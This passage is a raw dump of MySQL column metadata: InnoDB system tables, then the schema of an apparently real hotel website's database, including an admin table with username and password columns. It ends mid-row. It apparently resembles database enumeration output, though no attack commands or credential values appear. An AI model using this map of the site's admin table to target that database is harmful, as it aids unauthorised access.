INDEX_NAME | information_schema | select | def | NULL | | NULL | utf8_general_ci | 13 | NULL | utf8 | NULL | 3072 | 1024 | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | NUMBER_RECORDS | information_schema | select | def | 0 | | 0 | NULL | 14 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | DATA_SIZE | information_schema | select | def | 0 | | 0 | NULL | 15 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | COMPRESSED_SIZE | information_schema | select | def | 0 | | 0 | NULL | 16 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | YES | varchar(64) | PAGE_STATE | information_schema | select | def | NULL | | NULL | utf8_general_ci | 17 | NULL | utf8 | NULL | 192 | 64 | | | varchar | INNODB_BUFFER_PAGE | | YES | varchar(64) | IO_FIX | information_schema | select | def | NULL | | NULL | utf8_general_ci | 18 | NULL | utf8 | NULL | 192 | 64 | | | varchar | INNODB_BUFFER_PAGE | | YES | varchar(3) | IS_OLD | information_schema | select | def | NULL | | NULL | utf8_general_ci | 19 | NULL | utf8 | NULL | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | FREE_PAGE_CLOCK | information_schema | select | def | 0 | | 0 | NULL | 20 | 20 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM | | NO | int(5) | page_size | information_schema | select | def | 0 | | 0 | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM | | NO | int(11) | buffer_pool_instance | information_schema | select | def | 0 | | 0 | NULL | 2 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM | | NO | int(11) | pages_used | information_schema | select | def | 0 | | 0 | NULL | 3 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM | | NO | int(11) | pages_free | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_CMPMEM | | NO | bigint(21) | relocation_ops | information_schema | select | def | 0 | | 0 | NULL | 5 | 19 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM | | NO | int(11) | relocation_time | information_schema | select | def | 0 | | 0 | NULL | 6 | 10 | NULL | NULL | NULL | NULL | | | varchar | INNODB_FT_INDEX_TABLE | | NO | varchar(337) | WORD | information_schema | select | def | NULL | | | utf8_general_ci | 1 | NULL | utf8 | NULL | 1011 | 337 | | | bigint | INNODB_FT_INDEX_TABLE | | NO | bigint(21) unsigned | FIRST_DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 2 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | NO | bigint(21) unsigned | LAST_DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 3 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | NO | bigint(21) unsigned | DOC_COUNT | information_schema | select | def | 0 | | 0 | NULL | 4 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | NO | bigint(21) unsigned | DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 5 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | NO | bigint(21) unsigned | POSITION | information_schema | select | def | 0 | | 0 | NULL | 6 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_BEING_DELETED | | NO | bigint(21) unsigned | DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_TABLESPACES | | NO | int(11) unsigned | SPACE | information_schema | select | def | 0 | | 0 | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_TABLESPACES | | NO | varchar(655) | NAME | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 1965 | 655 | | | int | INNODB_SYS_TABLESPACES | | NO | int(11) unsigned | FLAG | information_schema | select | def | 0 | | 0 | NULL | 3 | 10 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_TABLESPACES | | YES | varchar(10) | FILE_FORMAT | information_schema | select | def | NULL | | NULL | utf8_general_ci | 4 | NULL | utf8 | NULL | 30 | 10 | | | varchar | INNODB_SYS_TABLESPACES | | YES | varchar(22) | ROW_FORMAT | information_schema | select | def | NULL | | NULL | utf8_general_ci | 5 | NULL | utf8 | NULL | 66 | 22 | | | int | INNODB_SYS_TABLESPACES | | NO | int(11) unsigned | PAGE_SIZE | information_schema | select | def | 0 | | 0 | NULL | 6 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_TABLESPACES | | NO | int(11) unsigned | ZIP_PAGE_SIZE | information_schema | select | def | 0 | | 0 | NULL | 7 | 10 | NULL | NULL | NULL | NULL | | | varchar | INNODB_FT_INDEX_CACHE | | NO | varchar(337) | WORD | information_schema | select | def | NULL | | | utf8_general_ci | 1 | NULL | utf8 | NULL | 1011 | 337 | | | bigint | INNODB_FT_INDEX_CACHE | | NO | bigint(21) unsigned | FIRST_DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 2 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | NO | bigint(21) unsigned | LAST_DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 3 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | NO | bigint(21) unsigned | DOC_COUNT | information_schema | select | def | 0 | | 0 | NULL | 4 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | NO | bigint(21) unsigned | DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 5 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | NO | bigint(21) unsigned | POSITION | information_schema | select | def | 0 | | 0 | NULL | 6 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_FOREIGN_COLS | | NO | varchar(193) | ID | information_schema | select | def | NULL | | | utf8_general_ci | 1 | NULL | utf8 | NULL | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN_COLS | | NO | varchar(193) | FOR_COL_NAME | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN_COLS | | NO | varchar(193) | REF_COL_NAME | information_schema | select | def | NULL | | | utf8_general_ci | 3 | NULL | utf8 | NULL | 579 | 193 | | | int | INNODB_SYS_FOREIGN_COLS | | NO | int(11) unsigned | POS | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_SYS_TABLES | | NO | bigint(21) unsigned | TABLE_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_TABLES | | NO | varchar(655) | NAME | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 1965 | 655 | | | int | INNODB_SYS_TABLES | | NO | int(11) | FLAG | information_schema | select | def | 0 | | 0 | NULL | 3 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_TABLES | | NO | int(11) | N_COLS | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_TABLES | | NO | int(11) | SPACE | information_schema | select | def | 0 | | 0 | NULL | 5 | 10 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_TABLES | | YES | varchar(10) | FILE_FORMAT | information_schema | select | def | NULL | | NULL | utf8_general_ci | 6 | NULL | utf8 | NULL | 30 | 10 | | | varchar | INNODB_SYS_TABLES | | YES | varchar(12) | ROW_FORMAT | information_schema | select | def | NULL | | NULL | utf8_general_ci | 7 | NULL | utf8 | NULL | 36 | 12 | | | int | INNODB_SYS_TABLES | | NO | int(11) unsigned | ZIP_PAGE_SIZE | information_schema | select | def | 0 | | 0 | NULL | 8 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | POOL_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | POOL_SIZE | information_schema | select | def | 0 | | 0 | NULL | 2 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | FREE_BUFFERS | information_schema | select | def | 0 | | 0 | NULL | 3 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | DATABASE_PAGES | information_schema | select | def | 0 | | 0 | NULL | 4 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | OLD_DATABASE_PAGES | information_schema | select | def | 0 | | 0 | NULL | 5 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | MODIFIED_DATABASE_PAGES | information_schema | select | def | 0 | | 0 | NULL | 6 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | PENDING_DECOMPRESS | information_schema | select | def | 0 | | 0 | NULL | 7 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | PENDING_READS | information_schema | select | def | 0 | | 0 | NULL | 8 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | PENDING_FLUSH_LRU | information_schema | select | def | 0 | | 0 | NULL | 9 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | PENDING_FLUSH_LIST | information_schema | select | def | 0 | | 0 | NULL | 10 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | PAGES_MADE_YOUNG | information_schema | select | def | 0 | | 0 | NULL | 11 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | PAGES_NOT_MADE_YOUNG | information_schema | select | def | 0 | | 0 | NULL | 12 | 20 | NULL | NULL | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | NO | double | PAGES_MADE_YOUNG_RATE | information_schema | select | def | NULL | | 0 | NULL | 13 | 12 | NULL | NULL | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | NO | double | PAGES_MADE_NOT_YOUNG_RATE | information_schema | select | def | NULL | | 0 | NULL | 14 | 12 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | NUMBER_PAGES_READ | information_schema | select | def | 0 | | 0 | NULL | 15 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | NUMBER_PAGES_CREATED | information_schema | select | def | 0 | | 0 | NULL | 16 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | NUMBER_PAGES_WRITTEN | information_schema | select | def | 0 | | 0 | NULL | 17 | 20 | NULL | NULL | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | NO | double | PAGES_READ_RATE | information_schema | select | def | NULL | | 0 | NULL | 18 | 12 | NULL | NULL | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | NO | double | PAGES_CREATE_RATE | information_schema | select | def | NULL | | 0 | NULL | 19 | 12 | NULL | NULL | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | NO | double | PAGES_WRITTEN_RATE | information_schema | select | def | NULL | | 0 | NULL | 20 | 12 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | NUMBER_PAGES_GET | information_schema | select | def | 0 | | 0 | NULL | 21 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | HIT_RATE | information_schema | select | def | 0 | | 0 | NULL | 22 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | YOUNG_MAKE_PER_THOUSAND_GETS | information_schema | select | def | 0 | | 0 | NULL | 23 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | NOT_YOUNG_MAKE_PER_THOUSAND_GETS | information_schema | select | def | 0 | | 0 | NULL | 24 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | NUMBER_PAGES_READ_AHEAD | information_schema | select | def | 0 | | 0 | NULL | 25 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | NUMBER_READ_AHEAD_EVICTED | information_schema | select | def | 0 | | 0 | NULL | 26 | 20 | NULL | NULL | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | NO | double | READ_AHEAD_RATE | information_schema | select | def | NULL | | 0 | NULL | 27 | 12 | NULL | NULL | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | NO | double | READ_AHEAD_EVICTED_RATE | information_schema | select | def | NULL | | 0 | NULL | 28 | 12 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | LRU_IO_TOTAL | information_schema | select | def | 0 | | 0 | NULL | 29 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | LRU_IO_CURRENT | information_schema | select | def | 0 | | 0 | NULL | 30 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | UNCOMPRESS_TOTAL | information_schema | select | def | 0 | | 0 | NULL | 31 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | NO | bigint(21) unsigned | UNCOMPRESS_CURRENT | information_schema | select | def | 0 | | 0 | NULL | 32 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_FT_CONFIG | | NO | varchar(193) | KEY | information_schema | select | def | NULL | | | utf8_general_ci | 1 | NULL | utf8 | NULL | 579 | 193 | | | varchar | INNODB_FT_CONFIG | | NO | varchar(193) | VALUE | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 579 | 193 | | auto_increment | int | admin | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | admin | | NO | text | username | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | text | admin | | NO | text | password | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 3 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | admin | | NO | datetime | last_insert | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 4 | NULL | NULL | 0 | NULL | NULL | | | datetime | admin | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 5 | NULL | NULL | 0 | NULL | NULL | | | int | admin | | NO | int(11) | permission | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 6 | 10 | NULL | NULL | NULL | NULL | | auto_increment | int | contact | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | contact | | NO | text | mobile | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | call_center | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 3 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | fax | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 4 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | address_th | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 5 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | address_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 6 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | address_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 7 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | about_th | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 8 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | about_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 9 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | about_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 10 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | email | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 11 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | Facebook | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 12 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | Gmail | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 13 | NULL | utf8 | NULL | 65535 | 65535 | | | text | contact | | NO | text | Twitter | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 14 | NULL | utf8 | NULL | 65535 | 65535 | | auto_increment | int | image | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | image | | NO | text | name | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | text | image | | NO | text | name_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 3 | NULL | utf8 | NULL | 65535 | 65535 | | | text | image | | NO | text | name_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 4 | NULL | utf8 | NULL | 65535 | 65535 | | | text | image | | NO | text | image | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 5 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | image | | NO | datetime | insert_date | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 6 | NULL | NULL | 0 | NULL | NULL | | | datetime | image | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 7 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | local_area | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | local_area | | NO | text | la_name | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | tinytext | local_area | | YES | tinytext | la_name_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 3 | NULL | utf8 | NULL | 255 | 255 | | | tinytext | local_area | | YES | tinytext | la_name_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 4 | NULL | utf8 | NULL | 255 | 255 | | | text | local_area | | YES | text | la_address | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 5 | NULL | utf8 | NULL | 65535 | 65535 | | | text | local_area | | YES | text | la_address_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 6 | NULL | utf8 | NULL | 65535 | 65535 | | | text | local_area | | YES | text | la_address_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 7 | NULL | utf8 | NULL | 65535 | 65535 | | | int | local_area | | NO | int(11) | la_rating | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 8 | 10 | NULL | NULL | NULL | NULL | | | text | local_area | | YES | text | la_distance | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 9 | NULL | utf8 | NULL | 65535 | 65535 | | | text | local_area | | YES | text | la_location | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 10 | NULL | utf8 | NULL | 65535 | 65535 | | | text | local_area | | YES | text | la_web | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 11 | NULL | utf8 | NULL | 65535 | 65535 | | | int | local_area | | NO | int(11) | la_type | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 12 | 10 | NULL | NULL | NULL | NULL | | | text | local_area | | NO | text | la_image | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 13 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | local_area | | NO | datetime | last_insert | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 14 | NULL | NULL | 0 | NULL | NULL | | | datetime | local_area | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 15 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | news | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | news | | NO | text | n_title | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | tinytext | news | | YES | tinytext | n_title_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 3 | NULL | utf8 | NULL | 255 | 255 | | | tinytext | news | | YES | tinytext | n_title_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 4 | NULL | utf8 | NULL | 255 | 255 | | | text | news | | NO | text | n_detail | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 5 | NULL | utf8 | NULL | 65535 | 65535 | | | text | news | | YES | text | n_detail_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 6 | NULL | utf8 | NULL | 65535 | 65535 | | | text | news | | YES | text | n_detail_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 7 | NULL | utf8 | NULL | 65535 | 65535 | | | text | news | | NO | text | n_by | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 8 | NULL | utf8 | NULL | 65535 | 65535 | | | text | news | | NO | text | n_image | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 9 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | news | | NO | datetime | last_insert | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 10 | NULL | NULL | 0 | NULL | NULL | | | datetime | news | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 11 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | room | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | room | | NO | text | r_name | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | tinytext | room | | YES | tinytext | r_name_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 3 | NULL | utf8 | NULL | 255 | 255 | | | tinytext | room | | YES | tinytext | r_name_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 4 | NULL | utf8 | NULL | 255 | 255 | | | int | room | | NO | int(11) | r_countin | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 5 | 10 | NULL | NULL | NULL | NULL | | | text | room | | NO | text | r_sizebed | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 6 | NULL | utf8 | NULL | 65535 | 65535 | | | text | room | | NO | text | r_sizeroom | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 7 | NULL | utf8 | NULL | 65535 | 65535 | | | text | room | | NO | text | r_detail | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 8 | NULL | utf8 | NULL | 65535 | 65535 | | | text | room | | YES | text | r_detail_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 9 | NULL | utf8 | NULL | 65535 | 65535 | | | text | room | | YES | text | r_detail_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 10 | NULL | utf8 | NULL | 65535 | 65535 | | | text | room | | NO | text | r_image | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 11 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | room | | NO | datetime | last_insert | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 12 | NULL | NULL | 0 | NULL | NULL | | | datetime | room | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 13 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | room_image | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | int | room_image | | NO | int(11) | room_id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 2 | 10 | NULL | NULL | NULL | NULL | | | text | room_image | | NO | text | name | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 3 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | room_image | | NO | datetime | date_add | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 4 | NULL | NULL | 0 | NULL | NULL | | | datetime | room_image | | NO | datetime | date_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 5 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | room_option | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | tinytext | room_option | | NO | tinytext | ot_name | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 2 | NULL | utf8 | NULL | 255 | 255 | | | tinytext | room_option | | YES | tinytext | ot_name_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 3 | NULL | utf8 | NULL | 255 | 255 | | | tinytext | room_option | | YES | tinytext | ot_name_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 4 | NULL | utf8 | NULL | 255 | 255 | | | text | room_option | | NO | text | ot_image | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_general_ci | 5 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | room_option | | NO | datetime | last_insert | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 6 | NULL | NULL | 0 | NULL | NULL | | | datetime | room_option | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 7 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | room_option_reletive | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | int | room_option_reletive | | NO | int(11) | r_id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 2 | 10 | NULL | NULL | NULL | NULL | | | int | room_option_reletive | | NO | int(11) | ot_id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 3 | 10 | NULL | NULL | NULL | NULL | | | datetime | room_option_reletive | | NO | datetime | last_insert | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 4 | NULL | NULL | 0 | NULL | NULL | | | datetime | room_option_reletive | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 5 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | slideshow | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | slideshow | | NO | text | title | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow | | NO | text | title_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 3 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow | | NO | text | title_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 4 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow | | NO | text | title_bold | cp227754_embryohotel_db | 